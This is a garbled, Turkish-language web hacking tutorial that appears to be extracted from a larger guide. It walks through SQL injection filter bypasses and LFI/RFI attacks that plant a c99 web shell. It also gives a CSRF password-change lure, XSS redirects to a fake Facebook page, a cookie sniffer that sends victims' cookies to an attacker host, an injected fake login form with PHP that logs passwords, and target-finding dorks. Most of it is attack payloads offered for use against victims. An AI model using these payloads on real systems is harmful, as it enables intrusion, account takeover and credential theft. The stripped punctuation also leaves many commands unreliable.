Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
inurlrdquosearchphpid=rdquo
inurlrdquoindexphpid=rdquo
inurlrdquokayitphpid=rdquo
bu dorklar ccediloğaltılabilir
Search (Arama) Kutularında id= değeri ziyaretccedili defterleri Kayıt Formları Yorum Formları vbyerlerde de bulunabilirBir Search kutusu duumlşuumlnuumln
Search kutusuna XSS accedilığının olup olmadığını anlamak iccedilin bir alert kodu yazalımltscriptgtalert(ldquoBuralar eskiden hep XSS dirdquo)ltscriptgt
Yazdıktan sonra arama butonuna tıklıyoruz Eğer accedilık mevcut ise ekrana bir alert yansıyacaktır şuşekilde
b-) id= Değerinin Bulunduğu Yerlerde
Bir Web sayfası duumlşuumlnuumln wwwhedefsitecomdegerphpid=3 şeklinde olsunId= değerinin sağtarafında bulunan rakam harf kelime veya her ne ise silip onun yerine accedilık olduğunu anlamamız iccedilin
alert kodunu yazıyoruz
wwwhedefsitecomdegerphpid= ltscriptgtalert(ldquoBuralar Eskiden Hep XSS di rdquo)ltscriptgt
Daha sonra bu goumlnderdiğimiz sorgu ile ekrana alttaki şekilde bir alert yansıyorsa accedilık olduğunu tekraranlıyoruz
c-) Ziyaretccedili Defterlerinde (STORED XSS)
Uumlstte goumlruumllen resim bir sitede bulunan ziyaretccedili defteridirZiyaretccedili Defterleri web sayfaları iccedilin ccediloktehlike arz eden yerlerdirBu zaafiyet tuumlruumlne STORED XSS Zaafiyeti denilirBuraya yazdığımız bir
HTML veya Javascript kodu herkez tarafından goumlruumllebildiği iccedilin sayfada ccedilalıştığında ziyaretccedili defterinegiren herkez tarafından sizin girdiğiniz kod ccedilalışacaktırYani gireceğiniz HTML Meta youmlnlendirme kodu
sayfaya giren şahısları hedef adreslere youmlnlendirecektirBu saldırıya biraz daha suumls katmak iccedilinPhising sayfanıza veya Fake sayfanıza youmlnlendirme yapabilirsinizŞimdi burada goumlruumllen kutucuklara
XSS Alert kodunu yazıyoruz
Eğer accedilık varsa sayfa bizim kodumuzu ccedilalıştıracaktırYani ekrana alert gelecektir
d-) Kayıt Formlarında
Kayıt Formları XSS Accedilığı iccedilin olanak sağlıyorKayıt Formları genellikle Forum sitelerdemevcutturForum siteleri ccediloğunluk olarak hazır sistem kullanırlar(MyBB Vb SMF vs vs)
Eğer bir forumda hazır sistem kuruluysa veya suumlruumlm olarak belirli bir suumlruumlmuuml varsa ki genelde olurExploit sitelerinden O sistemin suumlruumlmuumlnuuml araştırabilir XSS Accedilıkları mevcutsa Exploit yardımıyla accedilığısoumlmuumlrebilirsinizBiz sistem kullanılmayan bir forum sitesinden devam edelim ) Uumlstte goumlruumllduumlğuuml gibi birkayıt formu mevcutBuradaki kutucuklara tıpkı ziyaretccedili formlarındaki gibi XSS Alert kodlarımızı entegre
ediyoruzEğer accedilık mevcutsa alert alınır
e-) Yorum Formlarında
Bu şıkkımızı Cyber-Warriorrsquodan alıntı yaparak anlatayım
Goumlruumllduumlğuuml gibi bir konun altında mevcut olan yorum yazma texti
Burada Mesaj text boumlluumlmuumlne XSS Alert kodumuzu yazıyoruz
Evet XSS Alert kodumuzu da yazdıktan sonra cevap yaz butonuna tıklıyoruzEğer ki XSS Accedilığıolsaydı alert alacaktıkKonuya giren kişiler tarafından da goumlruumllecektiYani bu kod onlar konuya girildiği
esnada ccedilalışacak ve onlara da alert verecektiBuraya ben XSS Alert kodu değil de Fake sayfamayoumlnlendirmesi iccedilin bir kod yazsaydım konuya giren kişiler benim belirlediğim adrese youmlnlenecektiAma
oumlyle bir accedilık olmadığı iccedilin CW lsquode başka kapıya ))
6-Saldırı Anı (Accedilığın Bulunması) - Accedilığın Bypass Edilmesi(Engellerin Aşımı)
Bir Web Sayfası duumlşuumlnuumln wwwhedefcomindexphpid=
XSS Accedilığı arayalım hemen wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt
Yaptık Ekrana alert yansımadıPesmi edeceğiz Hayır tabi ki deHerşeyin bir yolu olduğu gibibununda bir yolu varNormal şartlarda bu sitede accedilık olduğunu duumlşuumlnuumlnAma bize alert vermediBizde
bu accedilığı bypass ederek ekrana alertrsquoımızı alacağızNasıl mı
a-) HTML Bypass Code
Evet ilk bypass youmlntemimizde ltscriptgtalert(ldquoMahserrdquo)ltscriptgt Alert kodumuzu HTML Encodeedecez yani ŞifreleyeceğizHemen bakalım
Ne Yaptık HTML Encoder ile kodumuzu şifreledikŞimdi bu şekilde accedilık analizi yapalım
wwwhedefcomindexphpid= ltscripttype=textjavascriptgtdocumentwrite(rsquou007Fu003Cu0073u0063u0072u0069u0070u0074u003Eu0061u006Cu0065u0072u0074u0028u0022u004Du0061u0068u0073u0065u0072u0022u0029u003Bu003Cu002Fu0073u0063u0072u0069u0070u0074u003Ersquo)ltscriptgt
Bu sefer ekrana alert yansıdığını goumlreceksiniz
b-) Bypass JavaScript Code
Evet bu şıkkımızda ise Javascript kodlarıyla oynayarak bypass youmlntemini gerccedilekleştiricezTekrarhedef site uumlzerine yoğunlaşalım
wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt
Şeklinde giriyoruzAlert alamadıkHemen kodlarla oynayalım farkı goumlrelim
Evet kodumuzla oynadık tekrar hedef site uumlzerinde accedilık analizi yaptığımızda alert alacağız
c-)Normal Bypass
Sıra Geldi Normal Bypass YolunaBu bypass tuumlruumlnde alert kodumuzla pek oynamayapmayacağızAlert kodumuzun başına bir muumldahalede bulunarak alert alacağız
Evet bu şekilde de farklı bir bypass youmlntemi uyguladıkBurada ki ldquogt kodu daha anlaşılır ve koda netlikkatarBu yolla da bir alert aldıkSıra geldi accedilığın uygun kullanımına
7-Saldırı Anı2 (Accedilığın Uygun Kullanımı) -
Cross Site Scripting accedilığını bulduktan sonra en oumlnemli faktoumlrlerden birisi de accedilığın uygunkullanımıdırAccedilığı ne kadar iyi soumlmuumlruumlrseniz sizin iccedilin o derece iyidirXSS Accedilığının sadece site
hacklemek iccedilin değil Siteye uumlye kişilerin bilgilerini almak iccedilin hesapları ele geccedilirmek iccedilin veya bir
kurbana phising fake benzeri sayfalar yutturmak iccedilin de kullanabilirsinizBiz bu sefer XSS Accedilığınıkurbanı fake facebook sayfamıza youmlnlendirmek iccedilin kullanacağızHemen başlıyoruz
Hedef sitemiz wwwtargetcom olsunAccedilığı bulduğumuz dosya homephp dosyası olsun ve veriyi idile ccedilagırsın wwwtargetcomhomephpid= şeklinde
Şimdi biz buraya oumlyle bir kod yazağız ki bizi hazırladığımız fake facebook sayfasına youmlnlendirsin
Yazacağımız kod şu şekildedir
wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref= wwwfakefacebooksayfamcomltscriptgt
Evet sorguyu site uumlstuumlnde ccedilagırdığımız da bizi wwwfakefacebooksayfamcom adresineyoumlnlendiricektirBunu kurbana atacaksınızFakat link ccedilok uzun kurbanımız burada bir şeytanlık
olduğunu anlayabilirPeki ne yapacağız httpsbitlycom adresine giriyoruzSağ uumlst koumlşede birkutucuk mevcutO kısma wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref=
wwwfakefacebooksayfamcom ltscriptgt
adresimizi yazıyoruz ve Shorten butonuna tıklıyoruz Burada yaptığımız işlem link kısaltmaktır
Bize httpbitly49856821 Şeklinde bir kısaltılmış link verecekKurban link kısa olduğu iccedilinşuumlphelenmezBu şekilde kurbana yedirme şansımız vardır
8-Saldırı Anı3 (Uygun Sniffer YazılımıSniffer Nedir)
Sniffer Nedir
Sniffer kelime manasıyla koklayıcı anlamına gelirSniffer birccedilok şeyi iccedilin kullanılabilirBiz burada XSSSniffer hazırlayacağızXSS Sniffer ne işe yarar diye soracaksınızBir XSS Accedilığı bulduğumuzu farzedelimAdmin in veya Siteye uumlye olan kullancıların Cookiersquolerini Ccedilalıcaz ve Kendi cookielerimizle
değiştirip o kullanıcı adına giriş yapmış olacağızBulduğumuz accedilığı Snifferrsquoa kuracağızDaha sonrakendi hostumuza atacaz ve snifferrsquoı kurbanrsquoa tıklatacağızBu Şekilde Kurbanın Cookielerini
ccedilalacağızYani biraz olsa da Sosyal Muumlhendislik ile alakalıdır
İşleme başlamadan Sniffer dosyalarını vereyim sizlere
Bu linkten ulaşabilirsiniz - gt httpswwwboxcomsd45q4d5ywdzxwcn7n7wn
Hemen kuruluma geccediliyoruz
Editleyeceğimiz dosyalar ldquochjs ve indexhtml ilk olarak chjs dosyasını accedilıyoruz
httpSİTE ADRESİSniffersnifferphpc= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazankısma dosyaları atacağımız sitenin adresini yazıyoruz(Sniffer dosyası adı altında)
httpbenimsitemcomSniffersnifferphpc= kaydedip kapatıyoruz
Şimdi ise indexhtml dosyamızı editleyeceğiz Notepad de accediltığınızda httpXSS ADRESİ= şeklindebir yazıyla karşılaşacağızXSS Adresi yazan kısma XSS Accedilığını bulduğumuz siteyi yazalım
httptargetcomindexphpid= yazdıktan sonra biraz sag tarafta bulunan httpSİTEADRESİSnifferchjs
SİTE ADRESİ yazan kısmada uumlstte olduğu gibi kendi sitemizin adini yazıyoruz
httpbenimsitemcomSnifferchjs yazdıkKaydedip kapatıyoruz
Daha sonra sniffer klasoumlruumlmuumlzuuml sitemize FTP aracılığıyla atıyoruzHemen kendi sitemizdeccedilalıştırıyoruz snifferımızı httpbenimsitemcomSnifferlogphp şeklinde log panelimizi ccedilağırıyoruzBu
adres cookielerin log olarak tutulacağı adresdirGiriş yaptığımızda bizden Kullanıcı adı şifreisteyecektirKullanıcı adı admin şifresi adminrsquodir
Girdikten sonra bizi log paneline aktaracaktırAccedilığı bulduğumuz siteden bir kurbana veya adminrsquoe linkitıklatmadığımız iccedilin Log panelinde ldquoHenuumlz Log bulunamadırdquo şeklinde bir yazı ccedilıkacaktır
Bizim adminrsquoe tıklatmamız gereken link indexhtml dosyasıdırYanihttpbenimsitemcomSnifferindexhtml lsquodirBuraya girdiğiniz de bir admin paneli gelecek
karşımızaBu admin panelini sahte bir admin panelidirYani adminrsquoin anlamaması iccedilin kurulmuş birpaneldirSizin yapacağınız sadece adminrsquoe veya kurbana httpbenimsitemcomSnifferindexhtml
linkini tıklatmaktırBiraz sosyal muumlhendislik gerekiyor burada tıklatmak iccedilinTıklattıktan sonra adminrsquoinveya kurbanın cookie bilgileri
httpbenimsitemcomSnifferlogphp adresine gelecektir
9-Sonuccedil (Elimize Geccedilen Cookie (Ccedilerez)rsquoi Değiştirme ve Hedef Veriye Ulaşmak)
Cookieleri ccedilektik Cookiersquoler elimizdeCookielerin son satırında Username ve Password kısmıbulunmaktadırYani şu şekilde
[Username]= admin UserİnfoCookie[Password]= mahserat
Evet goumlruumllduumlğuuml gibi kullanıcı adı admin şifresi de mahserat mışBu şekilde Adminin BilgilerinedeErişmiş olduk
10-Cross Site Scripting Accedilığı Olan Bir Siteye Fake Login Sayfası Bırakmak
Son olarak XSS Accedilığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız
Accedilığı bulduğumuz link wwwsitecomindexphpid= olduğunu farz edelimBuraya HTML kodlarıyla birLogin Kısmı oluşturucağız
wwwsitecomindexphpid= gtlthmtlgtltheadgtltmeta content=texthtmlcharset=ISO-8859-1http-equiv=content-type gtlttitlegtlttitlegtltheadgtltbOdygtltdiv style=text-aling
centergtltform method=POST action=fakesayfaphp name=formgtFake Login ltbrgtltbrgtKullanıcıadıltbrgtltinput type=text value= gtltbrgtSifreltbrgt ltinput name=Pass type=password
gtltbrgtltbrgtltinput name=valid value=Gonder type=submit gtltbrgtltformgtltdivgtltbOdygtlthtmlgt
Bu Şekilde bir HTML Kodu enjekte ettik siteyeFake bir Login kısmı uumlrettikfakesayfaphp dosyasınadikkat edelim arkadaşlar
fakesayfaphp
ltphp
$login = $_POST[rsquologinrsquo]
$password= $_POST[rsquoPasswordrsquo]
$open = fopen(rsquologhtmrsquo rsquoa+rsquo)
fputs($open rsquoLoginrsquo $login rsquoltbrgtrsquo rsquo
Password rsquo $password rsquoltbrgtrsquo rsquoltbrgtrsquo)
gt
fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor
Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz
SQL İnjection1- SQL İnjection Nedir
SQL (Structured Query Language)
SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır
2- SQL İnjectionrsquoun Mantığı Nedir
Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim
Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )
İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz
3- Temel SQL Komutlarını Tanıyalım
SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız
SELECT - Veri seccedilmek iccedilin
CREATE - Tablo yaratmak iccedilin
INSERT - Tablo eklemesi yapmak iccedilin
UPDATE - Veri guumlncelleme
DELETE - Veri silmek
